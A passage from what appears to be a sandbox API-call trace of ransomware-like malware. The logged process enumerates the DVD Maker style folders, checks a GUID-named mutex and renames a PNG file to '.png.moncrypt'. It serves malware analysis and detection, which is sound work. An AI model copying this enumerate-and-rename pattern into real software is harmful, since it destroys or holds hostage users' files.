lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.737] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.737] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0057.738] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.738] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.738] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.738] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0057.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.738] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png.moncrypt")) returned 0 [0057.738] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.739] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.739] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.739] GlobalUnlock (hMem=0x44000c) returned 0 [0057.739] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.739] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.739] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.739] GlobalUnlock (hMem=0x44000c) returned 0 [0057.739] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.739] GlobalUnlock (hMem=0x440004) returned 0 [0057.739] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43949540, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43949540, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0057.739] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.739] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.739] GlobalLock (hMem=0x440004) returned 0x550170 [0057.739] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.739] GlobalUnlock (hMem=0x440004) returned 0 [0057.739] GlobalLock (hMem=0x440004) returned 0x550170 [0057.739] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.739] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.739] GlobalUnlock (hMem=0x440004) returned 0 [0057.739] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.739] GlobalUnlock (hMem=0x44000c) returned 0 [0057.739] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.739] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43949540, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43949540, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.740] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.740] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.740] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.740] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.740] GlobalUnlock (hMem=0x44000c) returned 0 [0057.740] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.740] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.740] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.740] GlobalUnlock (hMem=0x44000c) returned 0 [0057.740] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.740] GlobalUnlock (hMem=0x440004) returned 0 [0057.740] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.740] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0057.740] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.740] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.740] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.740] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.740] GlobalUnlock (hMem=0x440004) returned 0 [0057.740] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.740] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.740] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.740] GlobalUnlock (hMem=0x440004) returned 0 [0057.740] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.740] GlobalUnlock (hMem=0x44000c) returned 0 [0057.740] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.740] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0057.740] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.740] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.741] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.741] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.741] GlobalUnlock (hMem=0x44000c) returned 0 [0057.741] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.741] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.741] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.741] GlobalUnlock (hMem=0x44000c) returned 0 [0057.741] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.741] GlobalUnlock (hMem=0x440004) returned 0 [0057.741] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.741] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0057.741] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.741] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.741] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.741] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.741] GlobalUnlock (hMem=0x440004) returned 0 [0057.741] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.741] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.741] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.741] GlobalUnlock (hMem=0x440004) returned 0 [0057.741] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.741] GlobalUnlock (hMem=0x44000c) returned 0 [0057.741] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.741] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0057.741] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.741] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.741] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.742] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.742] GlobalUnlock (hMem=0x44000c) returned 0 [0057.742] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.742] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.742] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.742] GlobalUnlock (hMem=0x44000c) returned 0 [0057.742] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.742] GlobalUnlock (hMem=0x440004) returned 0 [0057.742] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.742] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.742] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.742] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.742] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.742] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.742] GlobalUnlock (hMem=0x440004) returned 0 [0057.742] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.742] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.742] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.742] GlobalUnlock (hMem=0x440004) returned 0 [0057.742] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.742] GlobalUnlock (hMem=0x44000c) returned 0 [0057.742] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.742] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.742] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.742] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.742] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.742] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.742] GlobalUnlock (hMem=0x44000c) returned 0 [0057.743] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.743] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.743] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.743] GlobalUnlock (hMem=0x44000c) returned 0 [0057.743] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.743] GlobalUnlock (hMem=0x440004) returned 0 [0057.743] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.743] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.743] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.743] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.743] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.743] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.743] GlobalUnlock (hMem=0x440004) returned 0 [0057.743] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.743] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.743] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.743] GlobalUnlock (hMem=0x440004) returned 0 [0057.743] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.743] GlobalUnlock (hMem=0x44000c) returned 0 [0057.743] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.743] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.743] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.743] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.743] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.743] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.743] GlobalUnlock (hMem=0x44000c) returned 0 [0057.743] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.743] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.743] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.744] GlobalUnlock (hMem=0x44000c) returned 0 [0057.744] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.744] GlobalUnlock (hMem=0x440004) returned 0 [0057.744] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.744] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.744] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.744] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.744] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.744] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.744] GlobalUnlock (hMem=0x440004) returned 0 [0057.744] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.744] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.744] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.744] GlobalUnlock (hMem=0x440004) returned 0 [0057.744] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.744] GlobalUnlock (hMem=0x44000c) returned 0 [0057.744] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.744] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.744] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.744] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.744] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.744] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.744] GlobalUnlock (hMem=0x44000c) returned 0 [0057.744] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.744] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.744] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.744] GlobalUnlock (hMem=0x44000c) returned 0 [0057.745] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.745] GlobalUnlock (hMem=0x440004) returned 0 [0057.745] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.745] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1 [0057.745] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.745] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.745] GlobalUnlock (hMem=0x440004) returned 0 [0057.745] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.745] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.745] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.745] GlobalUnlock (hMem=0x440004) returned 0 [0057.745] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.745] GlobalUnlock (hMem=0x44000c) returned 0 [0057.745] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.745] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0 [0057.745] GetLastError () returned 0x12 [0057.745] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.746] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 